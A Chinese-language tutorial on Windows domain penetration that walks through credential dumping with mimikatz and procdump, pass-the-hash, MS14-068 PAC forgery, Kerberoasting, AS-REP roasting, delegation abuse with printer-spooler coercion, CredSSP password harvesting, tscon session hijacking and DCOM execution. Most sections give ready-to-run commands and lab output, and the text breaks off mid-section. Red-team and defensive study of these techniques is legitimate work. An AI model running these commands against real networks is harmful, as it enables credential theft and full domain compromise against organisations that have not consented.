1.PTH

如果找到了某个用户的ntlm hash，就可以拿这个ntlm hash当作凭证进行远程登陆了
其中若hash加密方式是 rc4 ，那么就是pass the hash
若加密方式是aes key,那么就是pass the key
注意NTLM和kerberos协议均存在PTH:
NTLM自然不用多说
kerberos协议也是基于用户的client hash开始一步步认证的，自然也会受PTH影响

那前提就是要获取hash值了

1.1 HASH获取

1.使用meterpreter里的mimikatz模块

meterpreter>load mimikatz
meterpreter>mimikatz_command -f mimikatz的指令
privilege::debug 提权  samdump::hashes dump哈希  
或者
meterpreter>msv/kerberos/widgst

2.使用meterpreter自带的hash获取模块

meterpreter>hashdump
meterpreter>run windows/gather/smart_hashdump   (推荐使用这个)

3.向目标机上传mimikatz远程调用mimikatz.exe dump出hash，mimikatz需要免杀处理
意思就是既然我们获取到了shell，我们直接向目标机上传一个mimikatz然后在shell里使用它就行了. 使用方法为cmd窗口打开mimikatz.exe，进入mimikatz终端，然后输入mimikatz指令即可

4.上传procdump到目标机，获取到lsass.dmp文件后将其传回本地又mimikatz来dump哈希

procdump.exe是微软自带的程序，所以不会触发杀毒。所以可以通过它传回lsass.dmp本地提取hash

procdump64.exe -accepteula -ma lsass.exe lsass.dmp  执行该指令，获取到lsass.dmp
然后将其传回本地
通过mimikatz.exe分别执行以下命令
"sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"

Procdump：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz：https://github.com/gentilkiwi/mimikatz/releases

5.使用cobalt strike 获取hash

beacon>hashdump
beacon>mimikatz mimikatz指令

6.利用sam表

mimikatz在线读sam表中的hash

privilege::debug
token::elevate
lsadump::sam

将sam表下载到本地由mimikatz分析

reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
在远端shell使用以上命令导出SYSTEM 和 SAM文件，并将其待会本地，由mimikatz分析
mimikatz运行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296
SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
RID  : 000001f5 (501)
User : Guest
RID  : 000003e8 (1000)
User : liukaifeng01
  Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

1.2 hash 传递攻击 PTH （Pass the Hash)

1.msf里使用psexec模块

msf5 exploit(multi/handler) > use exploit/windows/smb/psexec  //以root启动msf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133
lhsot => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133
lhost => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lport 443
lport => 443
msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5  //一般选择NTLM HASH
SMBPass => 8a963371a63944419ec1adf687bb1be5
msf5 exploit(windows/smb/psexec) > run

2.使用mimikatz

我们在目标机里放置mimikatz.exe 然后执行以下命令

sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc  //自行修改

之后便会弹出一个cmd窗口，在这个窗口里链接机器即可

net use \\192.168.222.131\c$

3.使用cobalt strike

在cobalt strike里找到域控，然后使用psexec模块，选择一个本地hash即可。

2.MS14-068

这个洞的危害很大，可以让任意域用户提权到域管。
适用版本: server 2000以上
补丁: kb3011780

2.1 PAC

PAC是kerberos协议里用来解决用户权限功能所设计出的东西。
在kerberos协议里面，一个用户用自己的hash拿到了TGT，接着凭借着TGT拿到了TGS，接着用TGS去访问服务。看似只要hash正确，用户就能到处访问服务，但是所有服务都可以给这个用户所访问吗？肯定是不行的，所以微软在kerberos为了实现用户权限分级，采用了PAC。
PAC被设计为存在于TGT里面。完整的kerberos权限验证流程如下。

1。用户凭借自己的hash加密时间戳并发送明文用户名到KDC，KDC认证用户成功后返回被krbtgt用户hash加密的TGT(内有ticekt包含着PAC)，以及用户自身hash加密的login session key

2.用户凭借TGT票据向KDC发起指定服务的TGS_REQ。KDC用krbtgt hash解密，若解密成功则直接返回服务hash加密的TGS（这里并没考虑用户的权限，直接返回了TGS）

3.用户用TGS向服务发起请求，服务用自己的hash解密TGS后获得PAC，拿着PAC向KDC询问该用户是否有权限访问。KDC拿到PAC后再次解密，得到了PAC里的 用户的sid，以及所在的组，再判断用户是否有访问服务的权限（有些服务不会验证KDC，这样就会导致白银票据攻击)

PAC自身的结构

PAC在Ticket中的结构

又这个图可以知道,PAC只不过是ticket里Authorization DATA的一个分支。
而Authorization data的结构是这样的

AuthorizationData ::= SEQUENCE OF SEQUENCE {
ad-type [0] Int32,
ad-data [1] OCTET STRING }

ad-type中就有这么一个类型 AD-IF-RELEVANT 对应数字1,由上上图可知这是PAC的外壳。
若类型为 AD-IF-RELEVAN ,那么ad-data也是一个 AuthorizationData类型的结构体，也有ad-type 和ad-data.那么这个外壳ad-data的ad-type就是次外壳AD-WIN2K-PAC 了,与 AD-WIN2K-PAC 这个ad-type对应的ad-data就是一段连续空间。这段空间包含一个头部PACTYPE以及若干个PAC_INFO_BUFFER 。
PACTYPE包含的是 cBuffers,版本以及缓冲区 。
PAC_INFO_BUFFER是key-value型的。PAC_INFO_BUFFER的key有很多

其中比较重要的是1,6和7

0x00000001 KERBVALIDATIONINFO 这个结构用于存储用户的身份信息.它是一个结构体，这个结构体是这样的(待会我们伪造PAC的时候主要就是伪造此处额 UserId 以及 PGROUP_MEMBERSHIP GroupIds ）服务器解包PAC后提取用户的sid以及groupid，然后就把当前发包过来的用户权限当成sid，groupid的权限处理。

typedef struct _KERB_VALIDATION_INFO {
FILETIME LogonTime;
FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive;
USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId; //用户的sid
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;//用户所在的组，如果我们可以篡改的这个的话，添加一个500(域管组)，那用户就是域管了。在ms14068 PAC签名被绕过，用户可以自己制作PAC的情况底下，pykek就是靠向这个地方写进域管组，成为使得改用户变成域管
ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;

0x00000006和0x00000007 6是服务器校验和，由server密码加密。7是KDC校验和，又KDC密码加密。存在的目的就是防止PAC被篡改。

2.2 MS14068

这个漏洞的产生主要是微软犯下了三个错误：
1.对校验和的算法实现不够细致，导致在校验和生成时可以不用管server和KDC的hash直接生成，而且生成出来的校验和还是合法的
2.PAC可以不用放在TGT中，即使是这样，KDC也能照常解析出TGT外的PAC
3.下面再说

那么这个漏洞大致的攻击原理是什么呢。
首先，我们在as_request的时候，把include-PAC标志设置为false，那么as_rep就不会在TGT中返回PAC了。然后这个时候我们自己伪造一个pac，在TGS_REQ时发过去就行了。伪造的pac修改USER SID&GROUP SID(在PAC的 0x00000001 KERBVALIDATIONINFO 结构)可以把我们的用户权限改到很高（域管），从而达到提权到域管的能力。

那么伪造PAC，我们就遇到了两个问题：
1.pac里有校验和，防止自己被篡改，我们得有server和KDC密码才能使校验和合法。
2.pac按理说应该在TGT里，但是TGT是被kbrtgt hash加密的，我们无法获取kbrtgt hash继而无法修改TGT内容，继而不能修改PAC。

来说说如何绕过PAC校验和问题。
我们刚刚说过，0x00000006和0x00000007 这两个结构的存在是为了防止PAC被篡改，这个校验和算法采用的是个叫checksum算法然后把kdc hash和服务hash当作key对PAC加密产生的值，从而防止PAC被篡改。但是checksum算法是有很多种的，md5也是checksum的分支之一，修改PAC后，我们只需设置加密算法为MD5并用MD5算法对0x00000001 KERBVALIDATIONINFO进行加密，将生成的值放入两个检验和即可，KDC拿到0x00000001 KERBVALIDATIONINFO，并且通过解析数据包获取当前加密算法为MD5，然后对其进行MD5加密，若加密结果与校验和一致，则认为PAC未被修改

再来说说如何绕过krbtgt hash加密TGT的问题。
因为我们在AS_REQ时设置include-PAC为false，TGT里就不会包含PAC了。那么我们在TGS_REQ时如何把PAC传递给KDC？只需要把PAC放入req-body即可。
这样KDC依旧会正常解析这个TGS_REQ包

注意TGS_REQ里的include-pac依旧是false。
然后KDC接收到PAC后会先解密TGT拿到authenticator里的key对PAC进行解密（TGS_REQ时加密PAC用的key是随机生成的，这个key会放在authenticator里），然后验证一下PAC的签名，若成功然后把解密得到的PAC采用server key和KDC key重新生成校验和，拼接成一个新的TGT返回给客户端。
上面这一段就是微软犯下的第三个错误，很不可思议，居然莫名其妙的返回了一个包含了PAC的TGT回来。总结来说就是构造了一个畸形的TGS_REQ，从TGS_RES得到了一个包含伪造PAC的TGT。

原理就是上面这些，然后我们用包含伪造PAC的TGT到处访问服务即可。

2.3 M14068利用

1.工具kekeo https://github.com/gentilkiwi/kekeo/releases/tag/2.2.0-20200718

具体方法为，在kekeo里先执行 kerberos::purge清空票据
然后再执行 exploit::ms14068 /user:xxx /password:xxx /domain:xxx /ptt
即可。

然后就dir \域控\c$ 试试，如果可以就说明提权成功了（不是每次都能成功的)

2.golenpac https://github.com/maaaaz/impacket-examples-windows/blob/master/goldenPac.exe

这个工具好用,

执行类似上述命令，就能返回一个域控的 system权限的cmd shell回来，感觉蛮好用
另外在最后指定域控机器时，可以指定域控以外的机器并获取他们的本地system权限用户.
但返回的似乎不是域控？

3.kerberoast

Kerberoast攻击原理: 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的，所以攻击者可以离线破解这个加密块，恢复帐户的明文密码

3.1 How to get SPN

如何得到域中的所有SPN？

1.setspn
很简单，只需执行

setspn -q */*

即可

2.kerberoast工具集的GetUserSpns powershell脚本

3.2 How to get HASH

如何得到hash？
有如下方法

1.Rubeus.exe

这个工具github上就有，但是clone下来后需要自己编译成exe.

然后执行 Rubeus.exe kerberoast指令即可

2.mimikatz

mimikatz真的神器。
通过命令 kerberos::ask /target:你所指定的SPN,

即可通过认证的方式得到一个ST。
然后我们在kerberos::list里可以看到我们想要的ST

3.powershell

越来越发现powershell在域渗透中的重要性了
输入以下指令，即可完成HASH获取

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"

然后mimikatz导出即可

3.3 How to export hash

获得了ST票据，但怎么导出？

1.mimikatz

导出所有票据

可以发现生成了kirbi文件。这就是我们所需要的hash了

2.Empire Powershell 框架

github:https://github.com/EmpireProject/Empire

我们通过这个框架可以导出hashcat格式的hash.

Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

3.4 How to crack HASH

如何破解HASH?

1.HASHCAT

这个工具需要让hash格式为hashcat模式才能进行破解。kribi文件不能放入hashcat进行破解.

hashcat -m 13110 pass.txt hash.txt

2.kerberoast中的tgsrepcrack.py

支持kribi文件破解

python3 tgsrepcrack.py pass.txt xxx.kribi

3.5 How to use Kerberoast

既然我们都把ST的加密hash都破解了，那么我们就可以随便改ST中的票据内容了..\ 这里使用的是kerberoast工具集里的kerberoast.py

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
## 将票据权限改为administrator
kerberos::ptt PENTESTLAB.kirbi  #将票据注入到内存

4.AS_REP Roast

较Kerberoast来说，比较鸡肋。
它的原理是在不开启kerberos预身份验证的前提下，获得其他用户的AS_RES，并破解加密session key 的 client hash。

4.1 How to get HASH

1.Rubeus

Rubeus.exe asreproast

然后就会搜索域中不需要kerberos预验证的用户，并获得ASREP。

2.Empire框架与 ASREPRoast.ps1

使用Empire框架下的powerview.ps1查找域中设置了 “不需要kerberos预身份验证” 的用户

Import-Module .\powerview.ps1
 Get-DomainUser -PreauthNotRequired

然后用 ASREPRoast.ps1 ：https://github.com/HarmJ0y/ASREPRoast 获取指定用户的AS-REPhash

Import-Module ASREPRoast.ps1
Get-ASREPHash -USER xx -Domain xx |Out-file -Encoding ASCII hash.txt

就会生成一个hash数据文件了

4.2 How to crack hash

将生成的HASH保存起来，并在下图处加入$23

然后丢给hashcat 跑

hashcat -m 18200 hash.txt pass.txt

注意这里的pass.txt是自己的明文字典…之前我还一直以为是爆破出来的结果.
原来是一个一个的用明文字典去爆破。

5.委派攻击

5.1 域委派

域委派是一种域内主机的行为，使某个服务可以以访问的用户的身份去访问另外一个服务。
为什么需要域委派呢，比如现在有web服务器和文件服务器，当用户A访问web服务器去请求某个资源时，web服务器上本身并没有该资源，所以web服务器就会从文件服务器上调用这个资源，其中发生的过程若以域委派的形式进行，那么就是：
用户A访问web服务器，服务器再以用户A的身份去访问文件服务器。
发生域委派的服务一般为机器账户和服务账户。
域委派分为三种：非约束性委派，约束性委派，基于资源的约束性委派

非约束性委派

非约束性委派的原理是：用户想访问服务A，于是向KDC提交认证，KDC发现A是非约束性委派，于是会把TGT放在ST中一并给用户。然后用户用这个ST去访问服务A，服务A就相当于获得了用户的TGT，把TGT放入lsass进程，然后就可以拿着用户的TGT以用户的身份去访问所有用户权限能够访问的服务了。

非约束性委派的启用：

为某账户启用 信任此计算机来委派任何服务 即开启非约束性委派。
开启后在该用户的 ACL属性会多出一个 flag : WORKSTATION_TRUSTED_FOR_DELEGATION (图截不完，反正这个flag就在箭头所指处的后面)

非约束委派的设置需要SeEnableDelegation 特权，该特权通常仅授予域管理员
这里说个题外话，域控主机默认是非约束性委派

约束性委派

非约束性委派是很不安全的（因为控制了开启非约束性委派的机器，就相当于获得了上面的所有其他用户的TGT），所以更安全的约束性委派诞生了。
约束性委派多了两个委派协议，S4U2SELF S4U2PROXY，并且限制了被设置委派的服务的访问范围：仅能被委派到被指定的服务。

约束性委派的大致流程：
用户访问开启约束性委派的服务A
（情况一：无S4U2SELF参与）首先需要经过KDC认证，KDC发现服务A开启了约束性委派，于是在TGS_RES返回给用户ST1（可转发ST），用户拿着ST1访问服务A，服务A先与KDC进行身份验证获得一个有效TGT，然后拿着ST1经过S4U2PROXY协议向KDC发起TGS_REQ，KDC返回ST2（用户身份的ST），然后服务A拿着ST2访问指定服务。
（情况二：有S4U2SELF参与）用户通过其他方式（如NTLM认证，表单认证等）获取了服务A的信任，但是此时服务A并没有来自用户的ST1，按情况一中的流程，服务A就不能完成委派。所以这个时候服务A会以自己的身份向KDC发起申请获取一个可转发TGT（获取KDC信任），然后用这个TGT发起TGS_REQ获得指定用户的ST1，既然获取了ST1，就继续情况一中的流程即可了。

也就是说S4U2SELF是用户通过非kerberos协议完成认证的情况下，自动向KDC获取ST1的一个协议。
而S4U2PROXY则是将ST1发给KDC，使其变现为成自己可用的 ST2 的一个协议。

启用方法:

其中被添加的服务则是允许被委派到的服务

若启用的是 仅使用kerberos，那么useraccountcontrol属性仅有 workstation_trust_account.
若启用任何身份验证协议，就会有 TrustedToAuthenticationForDelegation

基于资源的约束性委派

Windows Server 2012中引入了基于资源的约束性委派。只能在运行Windows Server 2012或Windows Server 2012 R2及以上的域控制器上配置
基于资源的约束性委派，不需要域管理员前来设置，而把设置委派的权限交给了自身。
其实就是可以摆脱域控来主动设置自己可以被哪些账户委派访问。

5.2 非约束性委派攻击

非约束性委派有巨大的安全问题，上面我们说过，非约束性委派的实质就是把用户的TGT存入lassa进程，从而模拟用户身份进行各种委派访问，所以我们只需控制非约束性委派攻击的机器，然后dump出所有的票据，就相当于获得了所有经过该服务进行约束性委派的用户的身份了。

1.进行非约束性委派账户扫描

这里提一下怎么创建有SPN的服务账户。
只需再域控里执行 setspn -U -A spn_type username 即可
其中spn_type即SPN的格式：MSSQLSvc/:[ | ]

• MSSQLSvc 是要注册的服务。

• 是服务器的完全限定域名。
• 是 TCP 端口号。
• 是 SQL Server 实例的名称。

这里我们随便输一个，比如 sb/caonima 这种都行.

这里采用powersploit下的powerview.ps1
根据我网上很多搜索结果，查找非约束委派服务账户只需调用
Get-NetUser -Unconstrained -Domain de1ay.com
这个命令即可，但是我下载下来的powerview里的get-netuser里却没有unconstrained参数，很烦。所以用一个比较原始的方法来判别（适合在用户少的情况下）
直接调用 Get-NetUser -SPN 找到所有服务账户或者Get-domaincomputer找到所有机器账户，然后判断其useraccountcontrl里有没有trusted_for_delegation,若有，则说明开启了非约束性委派

查询非约束委派机器账户则用
Get-domaincomputer -unconstrained -domain const.com

2.非约束性委派的攻击

仅能基于机器账户

如果我们获得了一个非约束性委派账户，我们就可以通过收集内存中的tgt达到任意用户访问的目的。

在被控制的非约束性委派机器上使用mimikatz。
privilege::debug提权
sekurlsa::tickets 查看本机所有票据

通过以上命令获取票据,如果管理员访问了本机的一些服务，那么它的TGT就会被截获放入内存。

我们模拟管理员调用非约束性委派机的smb服务

我们回到非约束委派机，查看票据

tgt被截获,我们用 sekurlas::tickets /export 把票据导出来

然后mimikatz里使用
kerberos::ptt 票据文件名 将票据注入内存
访问域控c$

成功

3.非约束性委派配合 Spooler打印机服务

纯非约束性委派攻击很鸡肋，因为必须要其他用户通过你进行委派访问。
但是 ：利用Windows打印系统远程协议（MS-RPRN）中的一种旧的但是默认启用的方法，在该方法中，域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification（Ex）方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。配合非约束性委派攻击，简直爆炸，可以主动拿到其他用户的TGT。-
而且splooer服务是默认运行的。（图源WIN7）

使其他主机强行与自己发生身份验证的脚本：需要自己编译一下https://github.com/leechristensen/SpoolSample.git

在此之前需要开启监听来自其他主机的TGT，这里用的是rubeus
Rubeus.exe monitor /interval:1 /filteruser:xx

然后使用SpoolSample.exe XX win7,让指定机器访问WIN7进行身份验证

然后获得TGT，下班。

5.3 约束性委派的攻击

约束性委派的大致攻击流程是: (利用S4U2SELF=>)如果我们获得了约束性委派机的NTLM hash或者明文密码，我们就可以以此来向KDC发送一个TGT申请，获得一个可转发的TGT。然后用这个可转发的TGT调用S4U2SELF协议，获得一个针对自己的ST1票据（其中ST1票据中的请求用户可以任意伪造）.然后用这个ST1票据去向KDC请求ST2，然后用ST2去访问服务，此时我们访问的身份就是我们任意伪造的身份了.

重点是只要获得了可转发TGT，约束性委派机就可以任意伪造其他用户的ST1票据请求，太可怕了。

这个攻击的最大前提是我们得获得约束性委派账户的NTLM HASH或者明文密码,然后我们才能成功的得到可转发TGT，然后才能得到接下来的一切。

首先配置好约束性委派账户

注意选用 使用任何身份验证协议

我们先信息搜集：看哪些用户是开启约束性委派的。一手powerview安排上

箭头指出的地方就是可以被委派访问的服务

我们用kekeo来实现攻击.

tgt::ask /user:xx /domain:xx /password:xx /ticket:test.kirbi这里的/password可以改成/NTLM:xx
获得TGT转发票据
tgs::s4u /tgt:file_name /user:administrator /service:cifs/DC
tgt处改为刚刚得到的TGT文件的名字，这个命令执行后得到administrator身份的 ST2

把最后获得的票据用mimikatz kerberos::ptt 注入内存，完事。

5.4 基于资源的约束性委派

refer:https://xz.aliyun.com/t/7454

原理的几个点：

1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性（即开启使用任何协议认证的约束性委派）时被调用，但是返回的ST是不可被转发的。
2.基于资源的约束性委派主机 在被另一台主机委派访问时，在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。
3.每个普通域用户默认可以创建至多十个机器账户（ 由MachineAccountQuota属性决定 ），每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN

攻击流程:

假设开启基于资源的约束性委派机器为A
1.首先要有一个对当前计算机有写权限的账户，才能对A设置可以 被 委派访问的服务账户。
2.利用当前账户创建一个机器账户，并配置好机器账户到A的 基于资源的约束性委派
3.因为机器账户是我们创建的，我们知道他的密码账户，可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY，在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。
4.用ST2访问A的CIFS服务，权限获得。

实操

这个攻击说白了就是个提权…

首先我们检查一下域控是否是win2012以上的主机，因为只有这样才能开启 基于资源的约束性委派。

我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller

可以获得域控WIN版本

然后我们查看当前用户对哪台主机有写权限。因为是实验，所以我们先来看看怎么配置一个用户对一个机器的权限。
直接在域控上找到某主机，然后进入在属性里进入安全选项卡，添加某用户，然后给这个用户分配权限即可。

我们依旧使用powerview。先调用
Get-DomainUser -Identity username -Properties objectsid来获取当前用户SID
然后Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"} 查看当前用户对某台主机是否有写权限。

如果有 GenericAll（完全控制权），GenericWrite、WriteProperty、WriteDacl 这些属性，就说明该用户能修改计算机的账户属性。
如图看到我们对WIN7进行操作

好的，我们接下来就要创立一个机器用户了。根据网上搜索结果，使用powermad这个ps脚本可以很快捷的创建一个机器用户。https://github.com/Kevin-Robertson/Powermad

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)

好的，我们添加了一个密码hack，名为hacksystem的机器账户，接下来就是配置hacksystem到WIN7的委派了。我们需要做的，是修改WIN7的 msDS-AllowedToActOnBehalfOfOtherIdentity属性的值 ，这个操作我们用powerview实现。

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  
#这儿的sid是我们创建的#机器用户#evilsystem的sid
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

至于机器账户SID怎么获得，powerview下的 get-domiancomputer hacksystem
然后使用Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity 查看委派是否设置成功

Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值

现在都统统设置好了，开始下一步吧。
网上一般用的rubeus，这里我用kekeo吧

Rubeus.exe hash /user:xxx /password:xxx /domain:xxx

本地运算出机器用户ntlm hash 这里借用一下别人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt 写入票据

然后我在本机使用以上方法后klist一下，发现确实存在票据

但是dir \test1\c$时本机莫名其妙不能进行kerberos验证，我服了》。。但不管怎样，我们拿到银票了

敏感用户不可委派的绕过

若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组，按理说他的访问就不能进行委派。

我们在以administrator账户身份进行S4U时，只能进行S4U2SELF，不能进行S4U2PROXY。我们用 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt继续实验administrator，发现确实是这样

此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据

可以发现servicename并没有指定某个服务，仅仅只有一个账户.即发生了服务名称缺失的问题。很简单，把票据修改一下就行了.网上很多说用这个工具
https://www.pkisolutions.com/tools/asn1editor/
但实际上rubeus也能完成票据修改rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt

完事

6.credssp 导出用户明文密码

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器。通常运用于远程桌面服务。

我们在配置这个协议时，一般在组策略编辑器里配置。

Allow delegating default credentials表示在通过使用受信任的X509证书或Kerberos实现服务器身份验证时自动发送当前用户的凭据，即明文密码。

Allow delegating default credentials with NTLM-only server authentication表示在通过NTLM实现服务器身份验证时自动发送当前用户的凭据，即明文密码。

这几个属性在注册表里对应 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation。

6.1 攻击原理

那么这样看，这个攻击流程就很自然了。
我们要获得两台机器，一台机器当作远程桌面的服务器，一台当作远程桌面的客户端。
在客户端上配置组策略（CREDSSP），使其在远程桌面身份验证时发送明文密码。
然后开始远程桌面验证，在服务器上获得客户端发来的明文密码.

6.2 实操

1.通过修改注册表，改变组策略身份验证的凭据策略(选一个），这一步需要管理员权限，本地或域管

reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

一股脑设置好就完事了。。（用户需重新登陆才生效）

然后开始获取密码

我们刚刚提到需要两台电脑才能获取密码，其实那只是一个模型，一个机器既可以当作客户端又可以当作服务端的。
我们用kekeo实现攻击（本机向本机获取密码时，普通用户即可完成以下操作）

tsssp::server 开启服务端
tsssp::client /target:...   开启客户端，这里的target随便填

那么再回到需要两个机器，一个当服务端一个当客户端的情况吧。

服务端建立: tsssp::server 需要SYSTEM权限

客户端链接: tsssp::client /target:服务端的SPN（一般采用TERMSRV服务） /pipe: \服务端域名\pipe\kekeo_tsssp_endpoint 普通用户权限即可

7.tscon横向

若一个机器上有多个用户登录，则在任务管理器可以看见如下场面

其中，我们可以右键其他用户选择链接，输入其密码后就能进入其桌面

但是对于system用户来说，要链接到其他用户是不需要输入密码的，可以直接连接。所以我们可以通过system权限获取登录在当前机器上的域用户权限。
比如上图中的administrator是域管，我有当前机器的system权限，那么我可以直接用以下命令完成用户权限获得。

query user 获得administrator用户的id

可以发现admin的id是2，那么我们就可以用tscon这个windows自带的命令行工具完成权限获得。

cmd /k tscon 2 /dest:console

执行以上命令，我们跳转到了admin的桌面

8.利用COM/DCOM对象

参考:https://www.freebuf.com/articles/network/256372.html

8.1 前言

DCOM是COM的扩展，允许应用程序实例化和访问远程计算机上的COM对象。
这里简要说一下几个有关COM的概念

CLSID：又叫CLASSID 一个COM类的唯一标识符，每一个Windows注册类与一个CLSID相关联。长得像这样 {20D04FE0-3AEA-1069-A2D8-08002B30309D}

ProgID：其可被用作对用户更友好的替代的一个CLSID，比如MMC20.APPLICATION.1就是一个ProgID。ProgID不能保证是唯一的，并非每个类都与ProgID相关联

Appid: 为了保证COM对象能被顺利的远程调用（即为了使DCOM可访问COM对象），需要把APPID与该类的CLSID相关联，且AppID需设置权限来规划哪些客户端能够访问

我们可以通过powershell执行get-CimInstance 来列出本地COM程序列表

远程DCOM对象实例化的流程:

客户端从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID则先将其本地解析为CLSID。
远程计算机检查是否存在由该CLSID所关联的AppID，并验证客户端的权限。
DCOMLaunch服务将创建所请求的类的实例，通常是通过运行LocalServer32子项的可执行文件，或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
客户端应用程序和服务器进程间建立通信，客户端便可以访问新创建的对象。

8.2 MMC20.APPLICATION.1

中文名为：Microsoft管理控制台（MMC）2.0包括脚本对象模型。我们一步步抽丝剥茧跟踪一下这个对象的利用点，需要注意的一点是调用该对象必须要有管理员权限。

如上图，我们先列出在MMC20.APPLICATION中的模块，然后继续列出其中Document中的属性，再继续列出Document.ActiveView中的属性。可以发现一个名为ExecuteShellCommand的方法，光是听名字就知道是可以执行shell命令的方法了。到微软文档查一查这个方法，获得了以下信息。

ExecuteShellCommand（[命令][目录][叁数][窗口状态]）
命令
一个值，指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量（例如“％windir％”）都将被扩展。
目录
一个值，用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串，则将当前目录用作工作目录。
参数
